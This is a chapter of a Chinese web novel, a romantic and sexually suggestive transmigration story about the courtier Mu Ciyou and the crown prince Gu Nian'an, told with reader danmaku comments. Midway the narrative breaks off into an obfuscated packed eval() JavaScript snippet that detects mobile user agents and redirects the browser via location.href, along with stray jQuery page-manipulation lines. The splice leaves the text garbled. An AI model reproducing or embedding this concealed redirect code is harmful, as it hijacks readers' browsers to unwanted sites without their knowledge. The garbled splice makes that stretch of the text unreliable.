“殿下,您说生辰那日,通房会来,他是谁?”
顾念安缓缓开口,字字如锤:“孤倒是想问问你,你每日与孤在一起,何时见过孤有过女人,又是从何人口中听说孤有通房?
穆辞忧默然一顿。
这可把穆辞忧问住了,不能说通房是弹幕剧透吧。
顾念安继续反问道:“你还说你有心仪的女人,你心仪谁了?是北境那边的相好吗?”
穆辞忧踌躇不语。
如何作答,不能说心仪一个素未谋面的女人吧。
顾念安睁着一双杏眼,睫毛像蝶翼般颤动,唇角噙着弧度:“穆哥哥为什么通房如此好奇?”
穆辞忧目光一垂,咬了咬下唇。
该怎么说呢,不能说想勾引太子的通房吧。
顾念安目光如电,直射向穆辞忧,语气却异常轻柔,好似昨夜那般呢喃:“穆哥哥是不是恨自己不是女人,无法成为孤的通房?”
穆辞忧被他目光一照,吓得向后缩了半分,慌乱地摆手,讷讷道:“不是,我不是……我没这么想过啊!”
弹幕【顾念安一键四连,占据话语权】
【给穆通房整无语了】
顾念安这小龙崽子都没有通房!
穆辞忧察觉真相,暗中怨念:“这群老铁们不讲究,一条条弹幕引导我出糗,拿我寻开心。还有这小龙崽子不说实话,也调谑我,害我像个无头苍蝇一样乱找。合着老铁们是把我叫做顾念安的通房,我找了这么久,原来通房竟是我自己!”
赶紧揭过这篇儿,休得再丢人了!
于是,穆辞忧焦急道:“殿下,您快喂我啊,穆哥哥饥饿得很!”
可这一句,听起来太像撒娇了,还是求宠幸那种撒娇。
顾念安神色一黯,拿起匙子,狠力捅入那张嗷嗷待哺的樱口。
这一个动作,又让穆辞忧想到昨日的疯狂,勺子头上的饭菜太多,顶入喉咙,塞满了嘴,抖动了几下,方才抽出勺子。
穆辞忧咀嚼着饭菜,忽觉双颊发烫,忙不迭别过脸,避开顾念安的视线。
顾念安腾出一只手,捏上住穆辞忧的下颚,强行把头掰过来。
“穆哥哥转过头去,孤很难喂食。”
“臣自己吃,不劳殿下屈尊。”
穆辞忧去夺顾念安手中的饭碗,不能再这般喂食,否则,邪火就要下窜了。
然而,顾念安不放手!
纱幔下的两个人各自发力,都是练家子,顾念安更是青出于蓝而胜于蓝。
“你放手。”
“你先放手!”
执拗片刻后,“啪嚓!”
饭碗从中裂开,饭菜四溅,扣落在地上、床上,乱得一塌糊涂。
穆辞忧竟然露出了得意的笑,今日份‘作死’开启:
“殿下,臣弄脏了殿下的龙床,臣有罪啊!”
顾念安抬手朝着穆辞忧脸上乎来。
这是要赏他个耳光吗?
那只手从穆辞忧的嘴角摘下一颗小米粒,放入顾念安口中。
“浪费粮食啦,穆少保一向教导孤农耕不易,惜食为仁。”
弹幕【你昨日也弄脏了殿下的龙床~】
【殿下不会怪你的】
顾念安重新铺床后,继续投喂穆辞忧。
端了一个盛满饭菜的大盘子,坐到床边。
“穆哥哥一口,孤一口……穆哥哥又一口,孤又一口……”
每人一口,共用一个匙子,匙子上的唾液互换。
也罢,反正顾念安的口水也不难喝。
这次穆辞忧不敢再造次,因为顾念安脾气随和,这种作死力度根本不够,还不如老老实实享受顾念安的投喂。
用完膳,顾念安唤来临时派遣的三个‘眼线’仆人,收拾残局。
顾念安洗漱完毕后,走到床边听到穆辞沉重的呼吸声。
穆辞忧睡姿成‘大’字,顾念安躺过去变成了‘木’字。
脸脸相贴的一瞬,穆辞忧忽地惊醒,他闭着眼睛,心口一震:
“这小子身上一点儿都不凉啊!他还需要暖床?那些个夜晚,顾念安如此种狎昵姿势抱着我睡觉!怪不得老铁们调侃我为穆通房。。。”
顾念安的呼吸均匀,浓密纤长的睫毛盖住下眼睑,像一个乖顺的孩子。
他的手放置于穆辞忧的心口处,也像个孩子。
只不过,这孩子变得高大强壮了,一身结实的肌肉,能轻而易举将穆辞忧抱起。
这个孩子发育的非常完美,满满当当顶着穆辞忧。
黑暗中弹幕一闪一闪:
【都睡啦,这俩人昨夜不知酣畅淋漓了多少回,一定是累了。】
【刚才一人一口吃饭,好好磕啊!】
【主播被shui服了,爱上顾念安啦!】
“我爱上了顾念安?不可能!我们都是男人!”
穆辞忧想起芳菲院的惊鸿所言:男子之间相爱叫做龙阳之癖!
他暗自幽思:“切!我才不是同性恋,我只是把顾念安当做弟弟看待。我要加快作死的速度,做一些杀人放火的坏事,争取一击致命,早日离开书中世界,离开这个喜欢肚兜的变态男主。”
这一夜,穆辞忧没睡着,抑或是白天睡多了,抑或是筹思作死计划,抑或是琢磨龙阳之癖。
夏季太阳出门早,寅时已有了光亮,穆辞忧感觉到床上另一位已经起身了。
他每天都起怎么早吗?他膝盖受伤就不要去上朝了,当个太子也这么卷?
穆辞忧扭扭身子,觉得自己身体恢复一些,起码能走路了。要不,我搀扶着顾念安上朝?
“咚咚咚”叩门声响起。
“殿下,皇上派小人接您,御辇已到门口。”
“稍等孤片刻。”
一国储君从不缺服侍的奴才。
穆辞忧有些失落,不知脑袋搭错了哪根筋儿。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16793634|190591||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
“臣也要去上朝。”
弹幕【他要去上朝?】
【太子的床不香吗?】
完了,一定是一宿没睡,脑子傻了!
顾念安一愣,冲着门外喊道:“来的是大御辇吗?还有一个人要坐。”
门外之人也是一愣,“禀殿下,是大御辇,两个人也能坐下。”
穆辞忧伸开双臂,示意太子殿下伺候穿衣,心道:“抢着伺候一国储君的人,多如牛毛。但被一国储君伺候的人,唯我一个!”
一件绯红色朝服抛向穆辞忧,正好盖在他头上。
“穆哥哥今日已年满二十三岁,能够生活自理。”
弹幕【哇靠!男人没一个好东西,提上裤子就不认人。】
穆辞忧赞同弹幕,一边穿衣服,一边在心里骂三字经:XXX。
顾念安斜睨着穆辞忧穿衣,眼底晕着两团乌青。
穆辞忧嘟起嘴,眉毛皱成一团,满脸不悦。
怎么能一个人生闷气呢!
当自己不开心时,就要让别人也不开心!
穆辞忧开启今日的作死大业,把心里的话全骂出来:
“XXX!若是哪个女人给你当太子妃,可是倒了八辈子的血霉。你人长得又帅,那玩意儿又大,她白天和嫔妃争风吃醋,晚上又被你生吞活剥,绝对年纪轻轻就被你这匹种马弄死,撒手人寰。”
顾念安挑眉:“你夸孤的方式很特别。”
……
早朝,金銮殿内。
“落花风流”的余香尚存。
周墨煜乌纱帽上的花换成了一朵茉莉,满朝文武大臣中,属他最香。
群臣回首,见太子和穆统领姗姗来迟,两人皆是一瘸一拐走进金銮殿。
大臣们昨日就听说内务府总管下狱了,虽不知什么原因。但今日见到这二位,一目了然,定是内务府害得他们腿部受伤。
上次早朝那位身着青袍‘见义勇为’的年轻大臣,目不转睛盯着穆辞忧,拿着笏板的手略有颤动。
徐海兴和周墨煜二人昨日便收到太子传来的消息,得知穆少保又替太子挡毒了,近两日暂免三孤授课。眼下见穆少保此状,寻思是何等厉害的毒药。
皇帝遥望进殿二人,不由得脸泛潮红,幸而有旒冕遮脸,与脑中闪现出的人影对话:“老穆,汝儿的走路之姿,彰显吾儿勇猛啊!汝当年如何对待朕,如今,吾儿皆替朕报仇了。实乃父债子偿!哈哈哈,美哉!美哉!晚儿不愧是朕最器重的皇子!”
江丞相捋了捋胡子,眼睛眯起,率先开口道:“穆辞忧身受重伤,自己都无法保全,怎能胜任御林军副统领?”
穆辞忧料想前日中春毒,大概有江丞相的一份功劳,在自己临死前,定要铲除了江家这个祸根!让江老头知道来自二十二世纪三好青年的厉害!
“江丞相,谁告诉你我现在任副统领了?陛下都没说话,你说啥?不分尊卑的死老头!”